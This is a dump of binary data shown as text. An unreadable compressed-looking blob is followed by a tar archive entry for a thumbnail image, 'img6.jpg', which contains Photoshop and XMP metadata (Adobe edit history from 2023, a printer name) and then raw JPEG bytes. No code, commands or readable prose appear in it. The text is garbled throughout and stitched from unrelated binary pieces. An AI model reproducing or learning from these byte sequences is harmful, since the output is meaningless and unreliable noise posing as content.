�E��n9���f;g�(=��:BXG���~J�	�����s�:~��ޟub|a��B.Q�=�ުz�x��LH�4GHUX��+	l��@n���)�.��LɅ�ή�9aii$���+;�B� R��˕S�Q���T�N��BY J��T*TJ� �n'���T09ޣնDb񵎻�8�z�ӭ�P��4>S}�@�𭺭?����F庑�7��e��2���&5o�&��ݦrd�-�k�x����C6ƢJ�B�A�9�E��3�k`A�a?Qo4��ֱM�-"Q�4I1&d��*fH�-T*�L���YԁSi�S��@�i���� ţ���娂Aң���FJMo�[�"����`��KI��kDI��1D
xG�<J1����M��c�(�CFu)�s�
$(h�6��������f�W{�Y�`���Nk]��F �:�-�������.����m�p�#�oc���{A�7O����2�d(��UT�t�R�ʼn΃sS��la����e��b̤\6)��h*�<���p�����^9�具$LH0�F?q��~c�T�<•��������.�}K�r��¤9�}�D
��}��@��.�0�	�q*d��ªT����0�4QED��*"d��'B�2.<�
?�3e؀��#�.1�I��9
\hp�>�@����c���>��Oi�ͧ��CNHd�Yd�A�(xE#�y*$����S�r��������Y��J���<�>����?:�J�J�Y��UQ�"�<�C��P��(�H)��FB���	�Pl�U\����Π�&z������t��Hw.ŷ�cqq�@>X�B��m���I�F�UwŵR�
�{>��>X��˥hP���h��8T�F��*��-׎��
l!Hk8�7$��D��H��!���|��Ȩ�����@�\Q�5���t{xV��6��(�s��;d#�7{����i*r
R֣\���^|�j�;fΠ*i�ږ���(D��jj�2�������_UA���"~�%:�B
$þ�9TDžI)=��@���9�Ԅ��� 4@J
�>��O����U�ʭ�B����UǗ%{-�59kRR�S�RQ*]��'�{��<���.49�	ak�A�=�h���A1�)�"���j�t)�r����Za)��Q
80-0Q�s�y����54�D�)O$�*��d�m`�T�?c%5��嫶@UbuV�úu�
"�����pw1ě�:��q��&�@�{�Nx�u��V����k>c旴��;}�w�2�ˠ\`HiP�l�X�"��Osu/UA���[�svL-ۃa���1�k~�N�>�Kv�n�����yR���\:���9��s4�B�8�U*�T��rQQD	l��JdпZҡ]Ab"�@(�%:f�UU�Gfa���귭�-I�;�?�^��������]�(fH�m��NӉ���J�ְ4���-D��ęv�����3">J-��Nh�0�.0�h��$D�+��t
�k]з����k�������B��R�"��)����o5��J["�_�8R �w��{$Tbp�d"bN��@3["��{\L���eD׻`�u#�@��ˁľ���8���Š^�ba�����yh|���t&�n�d����)��"��a�S��[s�L'#�k�,��\k�#2@s��\G��7z�~c�d�w:;��\n�\G�W�$�B�!D4��(��5Uģ
9u���:.v�A�;�Zs(���C�	SB��s~�PsH:
��T�U�3P2�P�N�x8�h����l��N"K��xk��0�A� �X�Eq�Z{�
�������#\րb&�����M���J�M�β�����I1�X�TI��Ӻ%��F�љA�N�A��4���TB� �sAD6�Dv����g�v5�@����y?aΝK9ֈ�;b)�� ��2���Ѐ
�&Qu"c�y��4t��]W���Pn�Q3� �(J*!�G%D^���G4��梢�n�\u������1�G�j��톍4[Ζ�/�dUUUV���.0m��hi� }f��|>�R�$V�\�"���)�ZN��v�� 5K�T�}o¡i��_����ѵ�^� �u)>#A��h;$�c!�G�[���in\�T���~Y>iM�ZU�O"�2���:V����lEPݨ��̳��B��f"[��U���y�޵�~���t�a�� 9Ԃ�Q�Mj���p.�2�G0R��[��(4���?�*����5U^��T޸�\Aq�\JS[��UW�UUUUUUUUUUUUUU_���images/thumbs/img6.jpg000066600000072132151150443020010663 0ustar00���rExifMM*�����(1!�2Շi�$
��'
��'Adobe Photoshop 25.1 (Macintosh)2023:11:13 22:18:54�0231�������rz(�
�HH���Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�I):d㔔��E
ܢ��;�P��d�K�	`S')�R�I$���IK�I:JYt�d�ղhu��3M{�?�M7�﫯��Y��������_�������p�����mu�a��j(:�g���V�~}�ыLnf3��v�o��g�?�&N+qzO���< ,m0Km;Yc,�7�ֿ���W�\�cX�{@��7�޸k�}�&�;�)���I)8�2p����;�Q�P��(

]�BtĦNS$�$�I)I'I%,�>��_�==�X�Ͷ��[}���]=K-��dLjZl�ݥ��U7�zWG���t��gZ�L?"���I���BHv0zgF���*����]��Z��}j�ّ�{�Ǘv���j�O�6g���j�t�q���q�;���U���.:��HBȶ,����L�v�׀�
CU�?���I)8L�$��(N�j�E

]�B~�%�L��IJN�zO�.�ԪnV���8���>�n��������\�+���Q���}c#',0Xq�i875��V�s�ִ��8=''5������������0�{��غ>��3+��׺ux���C!�������u>���l``}���0�M�{mu�u��A��cX�=e���/�D�S�K�_Z~��e�/��9���ne>�EL��nE��c}M��rq�~7D~�l������=�Fӑ��u4����[�O�kϺ��.���[����}�հ������+������U��p2���sW��n���[}�z~���ׯ�;_y�^��Zm���+�ݿ�^E���~��+��V^�ư93�Z�#�c�Բ�A&�+���Y9-,�M�@��c�[r��t�4�\5Ӿ���
}G t��OO���<��wmw�U?M��a�x
we��[@k�������)j������R�	$RQ��Lp�yEK�.�!L
R2����xf6{�j������\�Of6,3�K��l�I������O���.�Ǜ�3���f�x/hsrr�7s_�>>�}�o�����K�V�Ξϫ�ͣ#��FWW�� ��}X���쩟�+��������%<�G�N�M�=��6�啋7�����h��;]��B��Q{kϲ��W����n�F�w��"���\�]N�[~���hu�K����ֻ�}����ϪYtՉ�NV,hi
��b=�zN��w�@Ȏ��w4�d��u<�}^�����l�;�����}P�]�e�/��Z�n�V;q�[��c����Ƕ�\��ݻ�ϗ� ����7���wQ�]� z��X�=��}��:�?�E?�$�z8���{l}��d�lͮ��f�I�k�L�ߥ��>̈��m]ι�hcSM�p�MW�q�u��ʧu�=�d�ݵ�����6ǹ�	�ѹ߹_�o��3��}�\`nxi����6{���M�j���s/�m�!�c�/s��5?��BG����ܮ��DZ�����Uk�\9
�Tʫ/>��ieN 1��;*���w/G���t�ޕK��p/̉'��
Ɨ�݈1���~��[*��dVZ\���-{Cͮ$��us��H�芮�����EK�
)�IL�JyL�C���N�Fle����CY[�u�s����w�����!ۯ���Ǣ��g�WUu���SV^m��et~��Oӯն����kI/q��Һ7@���ma�/��~m���+o�m�o�o��O2s�7;��'>���/l|řvO����ztU�:��ϬN�}O��X}�;mt���'�������dY���N�wS������䱧c��SN�l|&�}:Y����=K,�QPvM�q��P���y������]gE����zx��Zj
�'�|'H���]4չ�}�ҭ��tS�Oպϲfb�.��qn%��~�fe�;)/g�k���ͱ��I�U���z��l��Yf~Eu���-c+��7Z�f>5,��_�{�Ig�R�CR�����n�>��c�6�a�6�Kv���;�&C�����M����}�es�[jh�u�p����V�^����W��rӺs�ǰu�;���c����e�Mkk��՗m�]c����y�8�J�t-�s��1��u�&��s���uW�W�����ysM֚O�a~���]$�*ʒI$P��t�s}:h#{�s�a��)���%�ѓsdC>��"�l��U����tٸĴ~j��P���W������V������I)$�IK�I�)�5:�YS���.!���{ߵ�o�޻~����zEUzE�)�sm깕;sr�l�dz�}�?M���;}W��
��?������n��}�����X��z�,s�ku��:��uY75�+��tʎ�Iz�%�om��*����,-��̼cX��e7�V{����R��̿�eY�㺭���
�6���n�j��X����h8�o7ǿp�����=���Z溛���r�ݗ����Y���+g������5���QC�o�k�cqk���AP]�?�&V0�
�W7b���Nk��s���Q[�׳ձ�d�9g�1Tʫ�aa�x�0C�u%�T�����Օ]WU���՗}Z��hvX�~^;!����%��u��{6��gsXUŅ�l�z��]�G����|��2u:��%(J�[��P��I<%	)��s��s��� ����Y����6��V Y�zϫWk�x��l�2*v�%b���q�-�����R D�b���I)$�IK��$�틺^.5ޏ�m �S���w�̜���E~�Ua��{=L��~���g?2�uS�nt��'�����U�C��r�hV�L��$��O����(��}��M��~�h�����_Z:��Y����U��斳*����n����Y��7��� �����tt�_F���w]�t{�{���r1��v"���tn�o�!$��������+Y�>����S�#�ބ�Ӹ��v�K@�K��ʃ}V��	�!��Tv���BPhotoshop 3.08BIMZ%G8BIM%��}�Ǿ	pv���N8BIM:printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTHP Deskjet 3540 seriesprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM@@8BIMD@@8BIM8BIM=��img6��nullboundsObjcRct1Top longLeftlongBtomlong�Rghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong�Rghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM8BIM�g�� 
����Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�I):d㔔��E
ܢ��;�P��d�K�	`S')�R�I$���IK�I:JYt�d�ղhu��3M{�?�M7�﫯��Y��������_�������p�����mu�a��j(:�g���V�~}�ыLnf3��v�o��g�?�&N+qzO���< ,m0Km;Yc,�7�ֿ���W�\�cX�{@��7�޸k�}�&�;�)���I)8�2p����;�Q�P��(

]�BtĦNS$�$�I)I'I%,�>��_�==�X�Ͷ��[}���]=K-��dLjZl�ݥ��U7�zWG���t��gZ�L?"���I���BHv0zgF���*����]��Z��}j�ّ�{�Ǘv���j�O�6g���j�t�q���q�;���U���.:��HBȶ,����L�v�׀�
CU�?���I)8L�$��(N�j�E

]�B~�%�L��IJN�zO�.�ԪnV���8���>�n��������\�+���Q���}c#',0Xq�i875��V�s�ִ��8=''5������������0�{��غ>��3+��׺ux���C!�������u>���l``}���0�M�{mu�u��A��cX�=e���/�D�S�K�_Z~��e�/��9���ne>�EL��nE��c}M��rq�~7D~�l������=�Fӑ��u4����[�O�kϺ��.���[����}�հ������+������U��p2���sW��n���[}�z~���ׯ�;_y�^��Zm���+�ݿ�^E���~��+��V^�ư93�Z�#�c�Բ�A&�+���Y9-,�M�@��c�[r��t�4�\5Ӿ���
}G t��OO���<��wmw�U?M��a�x
we��[@k�������)j������R�	$RQ��Lp�yEK�.�!L
R2����xf6{�j������\�Of6,3�K��l�I������O���.�Ǜ�3���f�x/hsrr�7s_�>>�}�o�����K�V�Ξϫ�ͣ#��FWW�� ��}X���쩟�+��������%<�G�N�M�=��6�啋7�����h��;]��B��Q{kϲ��W����n�F�w��"���\�]N�[~���hu�K����ֻ�}����ϪYtՉ�NV,hi
��b=�zN��w�@Ȏ��w4�d��u<�}^�����l�;�����}P�]�e�/��Z�n�V;q�[��c����Ƕ�\��ݻ�ϗ� ����7���wQ�]� z��X�=��}��:�?�E?�$�z8���{l}��d�lͮ��f�I�k�L�ߥ��>̈��m]ι�hcSM�p�MW�q�u��ʧu�=�d�ݵ�����6ǹ�	�ѹ߹_�o��3��}�\`nxi����6{���M�j���s/�m�!�c�/s��5?��BG����ܮ��DZ�����Uk�\9
�Tʫ/>��ieN 1��;*���w/G���t�ޕK��p/̉'��
Ɨ�݈1���~��[*��dVZ\���-{Cͮ$��us��H�芮�����EK�
)�IL�JyL�C���N�Fle����CY[�u�s����w�����!ۯ���Ǣ��g�WUu���SV^m��et~��Oӯն����kI/q��Һ7@���ma�/��~m���+o�m�o�o��O2s�7;��'>���/l|řvO����ztU�:��ϬN�}O��X}�;mt���'�������dY���N�wS������䱧c��SN�l|&�}:Y����=K,�QPvM�q��P���y������]gE����zx��Zj
�'�|'H���]4չ�}�ҭ��tS�Oպϲfb�.��qn%��~�fe�;)/g�k���ͱ��I�U���z��l��Yf~Eu���-c+��7Z�f>5,��_�{�Ig�R�CR�����n�>��c�6�a�6�Kv���;�&C�����M����}�es�[jh�u�p����V�^����W��rӺs�ǰu�;���c����e�Mkk��՗m�]c����y�8�J�t-�s��1��u�&��s���uW�W�����ysM֚O�a~���]$�*ʒI$P��t�s}:h#{�s�a��)���%�ѓsdC>��"�l��U����tٸĴ~j��P���W������V������I)$�IK�I�)�5:�YS���.!���{ߵ�o�޻~����zEUzE�)�sm깕;sr�l�dz�}�?M���;}W��
��?������n��}�����X��z�,s�ku��:��uY75�+��tʎ�Iz�%�om��*����,-��̼cX��e7�V{����R��̿�eY�㺭���
�6���n�j��X����h8�o7ǿp�����=���Z溛���r�ݗ����Y���+g������5���QC�o�k�cqk���AP]�?�&V0�
�W7b���Nk��s���Q[�׳ձ�d�9g�1Tʫ�aa�x�0C�u%�T�����Օ]WU���՗}Z��hvX�~^;!����%��u��{6��gsXUŅ�l�z��]�G����|��2u:��%(J�[��P��I<%	)��s��s��� ����Y����6��V Y�zϫWk�x��l�2*v�%b���q�-�����R D�b���I)$�IK��$�틺^.5ޏ�m �S���w�̜���E~�Ua��{=L��~���g?2�uS�nt��'�����U�C��r�hV�L��$��O����(��}��M��~�h�����_Z:��Y����U��斳*����n����Y��7��� �����tt�_F���w]�t{�{���r1��v"���tn�o�!$��������+Y�>����S�#�ބ�Ӹ��v�K@�K��ʃ}V��	�!��Tv��8BIM!WAdobe PhotoshopAdobe Photoshop 20248BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="049E1157F6CC262B14073FEBE37C09B6" xmpMM:InstanceID="xmp.iid:bcee94f0-117c-4afd-94f1-ef02a2fe8ec3" xmpMM:OriginalDocumentID="049E1157F6CC262B14073FEBE37C09B6" dc:format="image/jpeg" photoshop:ColorMode="3" xmp:CreateDate="2022-12-01T17:59:52+05:30" xmp:MetadataDate="2023-11-13T22:18:53+05:30" xmp:ModifyDate="2023-11-13T22:18:53+05:30"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:8fbf2ea7-8994-4562-8ce2-ecdee01c8412" stEvt:when="2023-11-13T21:43:55+05:30" stEvt:softwareAgent="Adobe Photoshop 25.1 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:bcee94f0-117c-4afd-94f1-ef02a2fe8ec3" stEvt:when="2023-11-13T22:18:53+05:30" stEvt:softwareAgent="Adobe Photoshop 25.1 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��!Adobed����
����"���@! P10A"2#B
!1A"Q2BR@abr P`q��#3c0������CSs$𲃓��������4D�Tdt!@P1 Q0�`ab��Aq�2�����
���Z�DL[Tĉ���6.���<�˚s�`X�q��o��G�=si4��L(	��׭�khX$$��"]�0�z:�<�gg�y�Fڗ�~�������F�&%�����/j�0V&�1 ��H��M�m�޳�ļ��j�j����ו����.f�-�X��dD�X�X	���� ������yv&�y�3r5yg�ksl����%D�p(��M�b֭�[T�L,ĉ�	D�H�ma�7=OI�ח4W��xT��ߛ�N��5΄�&5�a@M�bץ�k0V&bDĀB`��2=�OS��`�x뗏^]��D�3���Y-V��bj�¦ձkVȉ��5PH&$Y��&�Hf�cd���jW�_�<��)��'6&�i,FxIh��8�&��$IKVŭ["&
��PLH�"DD�H��}?pr�U�o���O>�{��h�X�sVZRK]|�,��&�m)]�5�jE-[�l��+[U@0$��������=�C̙���:<�{�2Ef�Td�c�5�X�.:�R&k0��T"���Z�DL���bD��DL�H�9����/���q�>r���Y�6�.(����ȹ�v��Ѹ�ϋ��BfZͮV�jk�$RձkVȉ�0�	��0":�]K7v<�U�]��=�o�/��p;	��J�;=�D�_s�M�f���.�kZ]�����>�C�iY���kW21��/\Qe@)jص�)5�"&�	�A0"`�����<�W�ٮ?���91�C
�ˊS/�0�YZ�~yZ<9g�Կ'J5k=�\��:�(W���K�<W9k�	�
�bbj�E-[��D��&���� ��0	�D�w�,��z���8+�d�]#�y}�:v�x����w��:���j��{|��6�)ƭ�5%��:ܝ���y��&jԚ�&��ըT�j�i�AD¢`�$�DL�N�O9���=���z�1��|�l���:+�}md��êtpꍟk�>�.�3��W���������9�R�Kfֹh�u�u������8ؽ�����L��,v��D	"@�"@�bf%0DL,&	�1 $&:g��uҳ��Ό���ypٳ��u�+���t5��8�ײ�6�̵��W�g��ܭ�:|L��6�<��6έ��2c9���g�x�Es�{�V;ҹ�C$bd 
jؙ�0DL��1 � �7}�M>m��}�K��<�S�LY:=�W~]+�y�:vip����a�2uy^�����N��<��=�,M����/�g��p&������7��d;��3SB�S�k�p�QR(Z`L@$	�H!0G����=�j��m�x�������E�;:��������cN{;�΢qy�޿N1}[���os�����)ɮ�E�v�a����o-��YQ�����������d�nj	P	�,�$�ċD�I	�'��6�槷����{|�������^�e�y`RbN��繲���?3kcǛ�.�������z�K.}\u�\po�j�GN`&;)dP�Uf׌%	�B0��LH�lM�b�T�9�K?0�~Ԭ捬}-����֌
����=�f�<�;,Q��sb��q�t��Э̺RƮ\7!@�2^�X��5�~�M�Zt�u��&(�		 D��,L	bI�u�I�O1�}�ۦ�ΗG�|��W��npY�.�<�hw�k�ڲ���q�KX�J�>���P��Z�g["n�Jt�c��s���]����.@L*A(�0I�Q0&$1$�d؞����^p�y��˱�|�e2���S�����|�w�܊K�"3�����9��n6:k!���log�g���M�{����	����H0%&$�CG��;��I��r}���ɏH�`�u�o;ӫoY��#Y��(���]�Q��3r�&mX�`EI�J�J��(�ڳ[=^G��/�y3,���	����J&�&$�\���7�Vh�h�H�ӳ���^;��{�s�����e�Gc7���N�3���
dL$�5�g��˝l�S=t�+��Ԇ�@��	D�&$LX�}s�Br��Fw����ˋ����K��Ut���μ�~ު��s���ڗ���s7�I�D�"B$H��H���I���x�	���vn�"P�M�&$l�z��癳k��:F�|�}��������#��.�jup�>(��[sc.�%�!"XH��H�HH�-���
LTټ��9�Ma���|�y����f�\�ζ���<�L�s�k���K���e�o_��ϧ��G�Y��6u%2LZ�c>f"I	'���6v����ϲ�����\t˂W4H&����n��������0&��g���׵�a�κ�O_�ξW?D�W�śNt^�"L7����nv#�纜���[J�T�@~��Vk�py�]g:s0%Q(���[��נ���:���
gMj܀����&��8�injMP�4�#��P7���v����J�J�YQeE��%�TYQeE��˱����,���ʋ*,���ʋ*7��k>כ�]
\,�B���f����a���g�VQ_dz8�O��>�8���i+>�'ՄN=�=� ��>�����=�1�s�@/�OsX��xaoO�>�|0c�2����c���]s�#�>?�se�,�e��A�|��r�D��䢋J �
h#���=C��(}YA��Pi�ON��g�89@eP���r��>xA��(7��s�i(4r���Vr�q�1�z s�eg����Ğ� ?(Dedג�)�tD��N�@��G8�'<QD��.�"�WP����?8�z,e�샎p�B�Wh��aaw���	_�����B��?� Q]��'.�?���
��w (��<����B�+�?��?���|~R���8�?���bx����O�WU��)@,p�{7��O=��8��@p%�,������q�<2�=���,,p'�0�} ��>��VJ�����p
�沾}�P.hj��7�eg�?)�, =c�J��8a�0�c�?�%9�Ǡ7+���!���� d�� ����A�w��Op>��5���ӂ�Ԕ^H��(.��a�O@��^9ߞet�c+���G���#X�8����?�^/%g���Ϡ���N�2��*nwLq
�\��J!`��r_�;��D�Jy?��<�@ 0�JpA������Dc��9C�d�����`c�w�Ь.�?1Y�J����NJ����WaE� ����i_gL��R�F���Pz�+�s�����NWq]��Qi��"��~(G��#����B���G���H���ٸJ$������2/.�
Y�1���C�Gݚ�V���tN��W.lZt������H�3�o>���=y�J(�C�
iq��t��6[����á�X��Dڋ���X�y�k`�.<�C�G����:g2�be�N�|�Q�F�����(H���?c��W�{�'�z
>�N�^��I�F�?D=��á�1����b
���f�ۊ�N��?��=��M]b`D^��4)6v���C��*k�ɔ\�2�א ���A��=`
��%20@���6
ͦ�b�Z���_&Q<qא ���>�'QK����dPtkD���lb��ض��%K1$���T ���Ү�d�kDl��@�
�w	6-)��K))�<�A8}�]+���)��1���._��l�fʞ�T���0A�}�]+�Z�u�
v�$�����Vl�Y�����	$�����(C�En����U�ț��[�t�X���S��{�<G,,,,r!8�)�
դ��Uj�&�4Y�,�.Sά�S�I{�(�Pr�;��X�q(��?Z��v�K�V�bi!�ݮ�<�q�l+V�����g���u�Z҈N軹�J(�3����jM/��z�����Š�eO3B�l)�..q<@,,'c=D�!1M�6f�9���9�B
(�KZ\u`�U*��6�NƋ���Vm��]ʚr��� 8�G�s�&!}��C�G�u���+kCk�m�e�M�Y�Ӕw��Ot�K6Iv}~rg���q��8�y ���27��t��t��1�u�{��袅��#��s�<&���v"�)s9���XX�Ȅ8�}�N�Ǭ�~����k!�!<�o)�z��[��Moqx�A����f ����M`���Y;O��
X�Ȅ=��U�X��/�aT�G[��F�+��~���u�I���1��������
��sHP�A#WL�=]L&=�ǰ��X]�5���בq>�2L��=bUW�k���P��F::�����c�ȵԛ��Z�X�M�+[�t1˷�
�ۡ1���TM��\#�K��V1�0��}�c��BQ`4�����Ȅ8�`�'K%PR���`b�lXG��a��5���G�z�&󫳺���vʟ�뫨�U�N�Z$�5 ��W�����V��!aFܗ���˂6�CdquI����I!hN=rC�jt�����8�`�Bcug�I!{�D$9�BgvӧgegA��5�F�Ĭo�5;s�Ky�W�2F��d�-s����wqg�D�ar�-�'	�}�8��zO5K3�|ko2g�mܢ�=����$����fd,�Id����l���э�q̯�}<Z�nAh����"ԖX���#��1S�qE��d�B�E�>H,�H�S�)�%��!L!ģ�5�{���)xN���YR�*�,m���y;��`+;�ي�_�z���W�t�Q�j�b�λ���7S���i���ͽ���=9Ȕz��~x��xi�+D.9z?+X��&�yV��v��U��"��45�_o}l�7v(��.��W&��	{#i'i%����t�=�ib�h���n:����K08��M�BW6+$�ȕ�7*F����/a�~����D��ܢ0��8�z)Kƶ6Y�ifv�Բ����7�-֓OA^�ؐ�g�4f��Hc#jsխ� Sl>�׵a=�bIn���~�x�cs���Z}���n��cY�7����>R�=�����-yp|}L.Áр�(�KU�����
D���l��Cx:�u����Cv�\PY�ѽfa��N����l�{��E#��D��t�i�΂�k@��1�ׯA%�cF��X��j��k���G`���R�CT9&���|�V6=�a�ܧxc�"�Z�=͒���6;K{)�]���}�CbG��)Oe�`>��#��a��,0>�����ex��$��!R˟�$�p�M�t)��f�]"�8h�9���	����A��S�����ݠ�*���fk�1�Op �]�E�9�+������>B��j�O$�Ҙ�=:�w�Q�B�6!����g�]�-���Nj�x�#Z�V�ڣo����)��䌿��n"�kcI��ò��i���)�*=irV���cq��M��&)��d�dNj�H�X�Ȅ9]<�-���b(e�&�@�:�U�f��UZ\\{�n���>W�NX�VG#���96��
\�u`�k$���������vj;{e���'���
Y-,*Xto���w���T�Ucb�Z���V0�בr�%���_y_����U��h롡_�vZ�Z�l��O{��8u@Ew>H���>�6SH��ˑ�ڰի�
W��vxX$�A,��B���Iv^�L]���5��^��g�
{=Š�W�B�{�MP���0*����k-�3��˓�lbG,��B���ݴ�H��W�Y����Ǯ���(7��z�w;�i*ՒS��
x�J9�>h�#Fňԛ�e�+s;$���!j)��\�ۼ2���R7I,r���9�9�<�v(�ɣ\�X�qZve��l�vח�w0`9���ŀQ$�aJ�y,��ڈ�:�'���^����r�=�1�.4�s��6�8�6v���{���!Pye�>cM�w��n���pX�F�m�W�_l��v�X
���]�}0�u�,���N�0�ߩr�W�s ������&vCI��&S���CӅ�>�QŬv�gM�?%�6�2��9�,��)��,F"���n[v����+*�y�U�����b9兯��b���b�!j[���_���:ZNB��f��:A��쉳K��‰ᕟF:s�х�Zg�v0Щ6�k�,���n}V�m�;2����纼L�+V�|�<E<p�8��5~2�P�i �V�?.���rkRdF�.#�=x�ok5���%Z��{�ƭ8������w�
m��'�$�-�QႻPi_S�y���w�醷_����-cZ���>M��n�ߕ�N���cl9ý�l�i����dQmM҂�5�Z�����
]J'�c@#*VtΚ��p��sʚ��������#%2��E`�}�!���k��[R�'M=x^/&��]Z����Zye�\�UR!	���^K�ĵ��R��E��{=z�����lްZ2�3���T��IX����}�1�����4Maҟ�z��W�
)�L�H��Ѵ;��i��~�| �Ֆ�N�
M�e�n54Ex�[FP��غ击�֨�6å��!%��-D��U����Y�lѵ��u<��e�)N{��+	��ʽ��5"�A��Y�	/ʂ����1��#%�T���J��τFn�|�~����fV�q���7�e4�ʡO�$�^�����߲4���r�2D� 2t~35�ն�v,����y=����'%�*
�yCQ��LyF;
���l��=��$�z��B�֏�Kco�e��7�[�(+��Lt�j5�c��w��-��Ifx�xQ���K�Z�5�n=V��nj��o-me.�D��ȝ!�Q�wOf�6Z�$��Z����8����PX��ѧ%�;-����$�Y�IJyU�k)㋺YKݢ�-��Ř��&Rckah|:��+�Lv�����F1�,����xQ�ٸ��)SeݿGJ�yV��118��wc�#����^z6ݛ�����Σ��օ�~a��M��̲2FU�%�l�0��v��1Ǻ9��bc�hU�Ɇ9e�W��N���(�����m��J1ٻbۜ��
P�4�	�6� �1�=��Ő����Оժ��ؾ��6�-e/9���.�~��^A;ӵz�5�T�Ƥ��c��uw��[+��ׇ8�aZ�5��6=^���Oh���`(��v0ؕ�=�����,�&�5}����d�[��]B��n��ӚInٰ���Ymwbm�
��8���wk6��9�z�8���4:��a�G� �`� 	4�<�J��+\�v�VBI<�Q���IrR��#��1�'RJ^y���:˖�چ�o �K����$���D	N@&wH��+�k�H#���=�ޥ`ђ�<�j��4�Ҷ�..<�~b	��i�Ch1K��H�`��,�����J����5h�Je~�Iճ����E�j�8��0{:�e����3���|{e(��5���#��/����]�q�1�	I �VQ��yЙ���=*E�,��2ژ*D�^�ϲ6t��4S� �'��1�6M��o�_�T��<�RS���L�Gnٵ<�X�7��ː��x��[�l(����
'e=8pF\�]}=9�5�j��N�+okl2����K#
&�6;�c�����~%$�3W<nl2��aG-f��^��l�$H��k�`��[kz��aV��'�[ZJk\r��W�S#�hG����^5�G����*�w���d�I$��V���ZU��)��QVKQ�|kq�x�;��~�ZCL�
{��"5��9,~2k�/_�{e���Tt�W֥p
��眩�kw�R��W&����e]���.m8�,��/ ��
��[
��x�حF(��������@��'f�a �RI�.��9��Q^M&�{aOk�t3f��,\`�笜�x:쬙eQ�vՍ�ds�u�l�!�b����d�%d7��Y�O#T�_�{PsJcK����#�<�#.ԌH-�]�n�X���wJ�^m�.{�*�s��V���mzZJv�>̿�9�E�FE���O���cƫ���.�+K-��ȒH��ys0����0�`v��s�x�޲���f�}�*Mr`ih*ܻ=ɿ5{���_旫�w�Q���U�s�[#nxрJ�?�֔A�q�_Ѧl)la�;��
]��:���~��iy�S�ԵjkR�U6�
g]�S¶uZ�p5�|R{1��lj�4�Y�Ui� *Î-��q��C���|����U�U�b[���n���n ��n��i�SP�sKO'Tj_�ŷ��^8���y�?�~��r�qk=��������[R|������?�>P�&4k
�w͝4u#��ζ����Bh^���ը���1��N�ds����2���Y9%,�zz����!L91\���?�%�?�lA<m�i�)#&�����J��d�uѐ�:$j�:n��d����C��GԕrH�ֆFJ'Q�h�����^�dbeH^ޢQ�\mj&�u��ZX�ݿ�0B�����+��TZ��?�/B�
欣��&��㫚 ����R�j�(Թl�����Z�D�L��͍w
���A����0�0�Z����X)��5gCR���S��cR�nc����Pf5�E[i����C�^�Q�F`�w�?,(\aA@�,0�W&ˆ
sG(�D�a�0PçӐ
$j����4A�cB±���
h�h�G����PP�IƎ8QƎ5��p^�
���Ǝ4q���hXYz.h�h��Ǝ?¨��I"�v
�X�@4q����/zY$[��th���8�E�J�-ڀ��h�G8�)[/�ƀ��hߠ�[~�U&��\z�-n�bh�FƏ�1�>�m���2���[�m�
h�Fƶ�����0V.��V/���������젓A�_=Y��(�,j۪�a�4rl�
Y���&���Ɓn�4	\��j�H��k��#m����Ӈ�Ƽ�m��4A���I�,����@*��j��r7�������Y���
��W5sXU�ȸ�P��<b�(���X��s���A�Wֱ�x�:���(�%Rú
�^\�;6Rh1��o8�d��`(�"����Z=�qj�n��sYh�6���eQ��>�]�͔cj+
�z���v�����\q^��޹Z8.��k>�P�D߻L
t�>�|O�$j-�XG\q��Q��}�Q�u��+m[�mYI�"O�����N5�5�)t�pI'��Vu1Ŝ�(� n������z�WSE_Dn�`
